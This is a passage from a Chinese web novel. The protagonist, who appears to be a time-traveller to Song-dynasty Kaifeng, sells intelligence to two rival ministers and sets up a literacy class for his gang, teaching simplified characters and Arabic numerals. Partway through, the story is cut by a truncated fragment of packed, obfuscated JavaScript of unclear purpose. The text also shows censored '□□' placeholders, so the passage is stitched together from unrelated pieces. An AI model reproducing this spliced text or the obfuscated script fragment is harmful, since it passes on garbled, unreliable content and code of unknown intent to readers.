十月下旬的一个傍晚,萧北翊正在东厢房里看简报,门被敲响了。 他打开门,南晚枫站在门口。 她穿了一件深青色的短打,头发扎成马尾,腰间别着那把短刀。月光照在她脸上,她的表情看不太清楚,但萧北翊感觉到她今天跟平时不太一样——没那么冷,多了一些说不清道不明的东西。 “南姑娘?”萧北翊让开身子,“进来坐。” 南晚枫没有进来,站在门口看着他。 “萧子翼,赵衍让我告诉你一件事。” “什么事?” “王钦若和丁谓,最近在朝中闹翻了。” 萧北翊的心跳加快了一瞬。 “闹翻了?因为什么?” “为了一个人。一个官职。王钦若想让自己的人上,丁谓也想让自己的人上。两个人争了一个月,谁也不让谁。”南晚枫的语气很平淡,“赵衍说,这可能是你的机会。” 萧北翊沉默了一会儿。 “赵大哥还说了什么?” “他说,赤羽现在手里握着不少消息。这些消息,在这个时候,比平时值钱得多。他说你知道该怎么做。” 南晚枫说完,转身走了。走了几步,忽然停下,头也不回地说了一句:“萧子翼,你小心点。王钦若和丁谓都不是善茬。你帮谁都是错,不帮也是错。” 她走了。 萧北翊站在门口,看着她的背影消失在巷口,把这句话在心里翻来覆去地嚼了几遍。 王钦若和丁谓闹翻了。这是朝堂上的一件大事,对赤羽来说,既是机会,也是危机。机会是——赤羽手里的消息,现在可以卖出更高的价钱。危机是——无论赤羽帮谁,都会得罪另一个。 萧北翊站在月光下,想了很久。 然后他笑了。 他不需要帮任何一方。他只需要把消息同时卖给双方。不是让双方知道对方也买了,而是让双方都觉得,“赤羽是我的人”。 这需要极高的技巧,但萧北翊有。 他转身回了东厢房,拿起笔,在那本只有自己能看懂的账册上,画了一行符号。 翻译过来是:“王钦若与丁谓反目。赤羽的机会来了。两手准备,两边下注。让钱串子去接触丁谓的人。” 他合上账册,吹灭了油灯。 窗外,月亮很圆。 新的棋局,又开始了。 19. 第十九章 扫盲班 大中祥符五年的腊月,东京城冷得滴水成冰。 自从十月里王钦若和丁谓在朝堂上公开撕破脸,东京城的空气就变得跟天气一样冷。街面上看起来还是老样子,卖菜的卖菜,喝酒的喝酒,但萧北翊从赤羽每天汇集的消息里,嗅到了一股不一样的味道——有人在暗中活动,有人在悄悄站队,有人在收拾行李准备跑路。 两边下注的活儿,他干得越来越顺手。给王钦若的消息,比给丁谓的细三分、快两天;给丁谓的消息,比给王钦若的多一些“内幕”,少一些“实证”。两边的中间人都很满意,都觉得赤羽是“自己人”。萧北翊知道这是刀尖上跳舞,但他享受这种感觉。 腊八节那天,萧北翊在火锅店里煮了一大锅腊八粥,请街坊邻居免费吃。老孙头端着一碗粥,蹲在店门口,一边喝一边感叹:“萧子翼,你小子越来越像那么回事了。” 萧北翊笑了笑,没接话。他在想另一件事。 赤羽现在七十三个人,遍布东京城五个片区,汴河沿线还有三个中转站。消息网络越来越密,事情越来越多,但有一个问题一直卡在他喉咙里——识字的人太少。 数来数去,能读会写的只有阿九和钱串子。刘二认识二十几个字,是在边军学的。赵大锤认识七八个,是跟萧北翊学的。孙驼子一个大字不识。其他人,基本是文盲。 这样的配置,在赤羽只有三五十人的时候勉强够用。但现在已经七十多人了,每天从各个片区汇总上来的消息全靠阿九一个人整理,每天要写要记要分类,她累得眼睛都红了。萧北翊自己也搭进去不少时间,有些消息阿九来不及记,他就自己上手。但他要做的事太多了——火锅店、消息买卖、两边下注、囤粮布局、赵衍那边的联络——不能把时间都耗在文书上。 更关键的是,赤羽要想发展壮大,不能永远靠两个人撑着。万一哪天阿九病了,万一哪天钱串子出了事,赤羽的情报网络就得瘫痪。这太危险了。 萧北翊在脑子里过了一遍现代组织管理的知识——一个成熟的组织,必须有足够的中层骨干。这些骨干不一定需要多高的文化水平,但至少要能读、能写、能看懂简单的指令、能记录简单的信息。不然,所有的事情都压在最高层,迟早要出问题。 他决定做一件事——扫盲。 不是随便教几个字,而是系统性地、有目标地、用现代教育的方式,在赤羽内部搞一次“文化普及运动”。 腊月初九,萧北翊把阿九、刘二、钱串子叫到东厢房。 “从明天开始,赤羽要办扫盲班。”他开门见山。 三个人都愣了一下。 阿九最先反应过来:“萧哥,你是说——教弟兄们认字?” “对。不是认几个字,是系统地学。每天学五个字,一个月一百五十个,一年一千八百个。三年下来,赤羽的核心骨干都能读会写。” 刘二皱眉:“子翼,弟兄们都是苦出身,从小没读过书。现在让他们学,怕是坐不住。” “坐不住也要坐。”萧北翊的语气很坚定,“赤羽不能永远靠几个人撑着。万一哪天我和阿九都不在了,赤羽怎么办?靠你们几个文盲?” 刘二被噎了一下,不说话了。 钱串子推了推眼镜:“萧哥,教什么内容?用的是什么字?” “简化字。”萧北翊说,“笔画少,好记好写。繁体字的‘龜’二十多画,简化字‘龟’七画。学起来快得多。” “简化字?从哪来的?” “我自己编的。”萧北翊面不改色,“你们先学,学会了再教别人。赤羽内部用简化字,不对外公开。对外,该用繁体字的场合还是用繁体字。” 钱串子点了点头,没再追问。他已经习惯了萧北翊时不时冒出一些稀奇古怪的东西。 阿九问:“萧哥,用什么教?纸笔太贵了。” “用沙盘。”萧北翊说,“每个人一个沙盘,一根树枝。沙子不花钱,树枝满地都是。写完了抹平,重新写。省钱,省纸,省墨。” 阿九眼睛一亮:“这个办法好。” “还有,”萧北翊从袖子里摸出一张纸,上面画了十个奇怪的符号,“这是数字。0到9,十个符号,学会了,任何数字都能写。记账、传信、标记,比汉字数字方便十倍。” 钱串子接过去看了看,眼珠子都快瞪出来了:“萧哥,这是什么?” “阿拉伯数字。” “阿拉伯?那是哪儿?” “很远的地方。你不用管。学会用就行。” 钱串子将信将疑,但还是把纸收了起来。 萧北翊扫了三人一眼:“扫盲班的事,从明天开始。阿九负责教学,钱串子做助教,刘二负责组织人员。不强迫,但给好处——愿意学的,每月多发二百文工钱。学得好、学得快的,年底额外奖励。不愿意学的,以后不能当片区负责人,不能接触甲等消息,不能参与核心决策。” 阿九笑了:“萧哥,你这是胡萝卜加大棒。” “这叫激励与约束并重。” 腊月初十,赤羽第一期扫盲班在葫芦巷的北屋开课了。 教室很简陋,几张破桌子,几条长凳,一块木板挂在墙上当黑板。木板上用木炭写着五个大字:人、口、手、足、心。旁边写着对应的简化字形和注音——注音不是拼音,是萧北翊用同音汉字标的,“人”旁边写“仁”,“口”旁边写“抠”,“手”旁边写“首”,虽然不准确,但能帮助记忆。 第一期来了二十三个人,比萧北翊预想的要多。赵大锤坐在第一排,面前摆着一个沙盘,手里拿着一根树枝,表情比上刑场还痛苦。 “萧哥,我不想来。” “不想来可以走。但走了,以后城北的负责人就不是你了。” 赵大锤咬了咬牙,拿起树枝,在沙盘上写了一个“人”。 “一撇一捺。撇从左上到右下,捺从左下到右上。两个笔画交叉。写。” 赵大锤写了三遍,第一遍写成了“八”,第二遍写成了“入”,第三遍才有点像“人”。 萧北翊蹲下来,拿起他的树枝,在沙盘上重新写了一个“人”。 “大锤,记住——人是两条腿站着的。撇是左腿,捺是右腿。两条腿分开了,是‘八’,那是八字。两条腿靠拢了,是‘人’。” 赵大锤挠挠头:“萧哥,你能不能画个图?我光看字记不住。” 萧北翊想了想,在黑板旁边画了一个简笔小人,两条腿叉开站着,旁边写了一个“人”字。 赵大锤看了,恍然大悟:“哦——原来‘人’就是人站着的样子!” 旁边的人也跟着明白了。 萧北翊心里记下了这个办法——用图形辅助记忆,比单纯认字快得多。 第一堂课结束,二十三个人都学会了“人”“口”“手”“足”“心”五个字。大多数人写得歪歪扭扭,但至少认出来了。萧北翊不着急,明天继续,后天继续,一个月后自然会好。 萧北翊对扫盲班的设计,不止是教认字那么简单。他有完整的规划: 第一阶段,认字。每天五个字,积少成多。用图形辅助记忆,用沙盘练习书写。一个月考核一次,考核通过的升级,没通过的继续。 第二阶段,读写。认识三百个字以后,开始练习读简单的句子、写简单的便条。教材是萧北翊自己编的——《赤羽日常用语一百句》,内容包括“今天天气好”“城东有情况”“速来”“收到”等实用短语。 第三阶段,应用。能读会写之后,开始参与实际工作。片区负责人写简报、传消息、记账目,全部用简化字和阿拉伯数字。阿九和钱串子负责审核和指导。 第四阶段,进阶。对于学得快、有兴趣的人,萧北翊单独教——数学、地理、兵法基础。这部分不是所有人都学,而是选苗子,为赤羽未来的骨干储备人才。 阿九听完这个规划,沉默了很久。 “萧哥,你这是要办一所学校啊。” “不是学校。是赤羽的‘干部培训班’。”萧北翊说,“一个组织要想做大,光靠几个聪明人不够。得有制度、有体系、有梯队。扫盲班,就是这个体系的第一步。” 扫盲班开了半个月,效果开始显现了。 赵大锤学会了三十个字,能歪歪扭扭地写出“北”“火”“锅”“肉”“菜”这些词了。他对自己写的“肉”字特别不满意,说“萧哥,‘肉’字怎么写才能好看?”萧北翊说:“外面的框写方一点,里面的两个人写小一点。”赵大锤试了几次,还是不太好看,但他不气馁。 刘二在城东忙完,专程赶回来上了两堂课。他以前认识二十几个字,学简化字不难,两堂课下来,他认识的字从二十几个增加到了五十几个。刘二的进步让其他人压力很大。赵大锤说:“刘二哥以前是当兵的,当兵的都能学这么快,我打铁的不能比他差。”萧北翊心想,这逻辑也没错。 钱串子虽然没时间来上课,但他每次回来都会让阿九把当天的字教给他。他底子好,学得快,认识的字从八九百增加到了一千多个。萧北翊给他单独开了小灶——阿拉伯数字。钱串子把阿拉伯数字当宝贝,谁也不告诉,连阿九都保密。 最让萧北翊惊喜的是一个叫阿三的少年。十六七岁,瘦瘦小小,以前在城南讨饭,是孙驼子手下的。他以前一个字都不认识,但学得极快。别人一天五个字都记不住,他能记住八个。萧北翊问他怎么记的,他说:“萧哥你写的字,我照着画。画几遍就记住了。有些字像东西,比如‘口’像个方框,‘山’像三座山。我记住东西的样子,就记住字了。” 萧北翊心里一动。这个少年的观察力和记忆力都不错,是块好材料。他给阿三单独加了任务——每天多学三个字,先学先会,以后当赤羽的“小□□”,帮着教其他人。阿三高兴得跳了起来。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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阿九坐在萧北翊旁边,给他倒了一杯酒。 “萧哥,扫盲班开了半个月,弟兄们进步不小。赵大锤现在能写自己的名字了,虽然写得难看,但能认出来。阿三更厉害,已经认识一百多个字了,比刘二哥还多。” 萧北翊点了点头:“阿三是块料。明年让他当小□□,帮着教新人。” “萧哥,你是不是要把阿三培养成接班人?”阿九半开玩笑地问。 萧北翊摇头:“不是接班人。是第二个识字的人。赤羽不能只靠你和我。万一哪天我不在了,赤羽还得转。” 阿九的筷子顿了一下:“萧哥,你说什么胡话呢。大过年的,别说这种不吉利的话。” 萧北翊笑了笑,端起酒杯喝了一口。 他不是在说胡话。他是在想——赤羽要真正站稳脚跟,不能依赖任何一个人。包括他自己。所以他要让更多的人识字,让更多的人能独当一面。这不仅仅是为了赤羽的发展,也是为了——万一有一天他出事了,赤羽的弟兄们还能活下去。 这是他从现代组织管理学中学到的最重要的一课:一个健康的组织,不依赖英雄,依赖制度。英雄会老、会死、会离开,但制度可以一直运转下去。扫盲班,就是赤羽的第一块制度基石。 除夕夜,萧北翊一个人坐在东厢房里,把那本《孙子兵法》从枕头底下拿出来,翻到父亲的信,又看了一遍。 “待你成年,自有人告诉你真相。” 他今年十六岁,虚岁十七。按照北宋的算法,二十岁成年。还有三年。 三年,足够赤羽的扫盲班把主力骨干全部教会。三年,足够赤羽从几十人发展到几百人。三年,足够他在东京城站稳脚跟,足够他在王钦若和丁谓之间游刃有余,足够他积累起能够跟程无咎抗衡的资本。 窗外,爆竹声噼里啪啦地响起来,东京城的夜空被烟火映得五彩斑斓。阿九在院子里放了一挂鞭炮,赵大锤捂着耳朵躲在门后面,被阿九拽了出来。刘二站在柿子树下,手里端着一杯酒,不知道在想什么。钱串子在后厨算账,嘴里念念有词,用的全是阿拉伯数字。孙驼子蹲在墙角抽旱烟,烟雾在月光下袅袅升起。 萧北翊站在窗前,看着这一切,从袖子里摸出那个只有自己能看懂的账册,在空白页上画了一行符号。 翻译过来是:“大中祥符六年,正月初一。赤羽人数七十三。扫盲班已开课二十一天。识字人数——能读会写的五人,能写自己名字的二十三人,正在学的三十一人。明年底目标:所有片区负责人都能独立阅读和书写简单文书。阿三列入重点培养名单,拟任下一期小□□。” 他合上账册,吹灭了油灯。 窗外,烟花散尽,爆竹声渐息。 新的一年,开始了。